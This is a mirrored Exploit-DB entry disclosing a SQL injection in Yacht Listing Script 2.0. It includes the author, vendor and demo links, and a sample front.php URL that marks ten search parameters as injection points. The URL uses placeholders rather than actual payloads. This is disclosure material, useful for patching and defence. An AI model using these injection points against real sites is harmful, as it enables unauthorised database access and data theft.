Yacht Listing Script 2.0 – SQL Injection

  • 作者: Ihsan Sencan
    日期: 2017-03-11
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/41589/
  • # # # # # 
    # Exploit Title: Yacht Listing Script v2.0 - SQL Injection
    # Google Dork: N/A
    # Date: 11.03.2017
    # Vendor Homepage: https://www.phpjabbers.com/
    # Software: https://www.phpjabbers.com/yacht-listing-script/
    # Demo: http://demo.phpjabbers.com/index.php?demo=yls&front=1&lid=1
    # Version: 2.0
    # Tested on: Win7 x64, Kali Linux x64
    # # # # # 
    # Exploit Author: Ihsan Sencan
    # Author Web: http://ihsan.net
    # Author Mail: ihsan[@]ihsan[.]net
    # # # # #
    # SQL Injection/Exploit :
    # http://localhost/[PATH]/front.php?controller=pjListings&action=pjActionIndex&listing_search=1&min_year=1948[SQL]&max_year=2017[SQL]&min_loa=6[SQL]&max_loa=20[SQL]&min_length=25[SQL]&max_length=150[SQL]&min_beam=20[SQL]&max_beam=150[SQL]
    # Etc..
    # # # # #